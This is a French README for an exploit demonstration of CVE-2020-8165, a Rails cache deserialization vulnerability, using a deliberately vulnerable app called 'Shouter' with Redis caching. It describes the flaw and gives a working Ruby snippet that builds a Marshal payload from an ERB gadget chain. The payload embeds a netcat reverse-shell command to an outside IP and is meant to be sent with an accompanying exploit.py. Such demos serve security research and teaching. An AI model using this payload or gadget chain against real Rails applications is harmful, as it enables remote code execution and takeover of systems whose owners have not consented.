
Démonstration de l'exploitation RCE par désérialisation Rails CVE-2020-8165 avec l'application réaliste Shouter, génération de payload en Ruby, et empoisonnement du cache Redis.
Encore une démo de CVE-2020-8165, mais avec une implémentation plus réaliste que la plupart.
CVE-2020-8165
Une vulnérabilité de désérialisation de données non fiables existe dans rails < 5.2.4.3, rails < 6.0.3.1 qui peut permettre à un attaquant de démarshaler des objets fournis par l'utilisateur dans MemCacheStore et RedisCacheStore, pouvant mener à une exécution de code à distance (RCE).
L'application « Shouter » dispose d'une fonctionnalité de mise en cache dans son modèle Shout où les images optionnelles soumises avec un shout:string sont mises en cache dans Redis et récupérées de là plutôt que depuis la base de données. Parce que la méthode vulnérable est utilisée pour interagir avec le cache, cette application est susceptible d'être affectée par CVE-2020-8165, et les résultats de l'exécution de code à distance (RCE) sont placés dans l'attribut src des balises dans la route du tableau de bord.
Rails.cache.fetchimgL'extrait suivant générera la charge utile que vous devez envoyer en utilisant exploit.py. Il y a une certaine nuance dans l'étape de sérialisation qui doit être résolue pour implémenter complètement l'exploit en Python. Par conséquent, Marshal.dump en Ruby est nécessaire pour générer la charge utile exacte (pour l'instant).
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload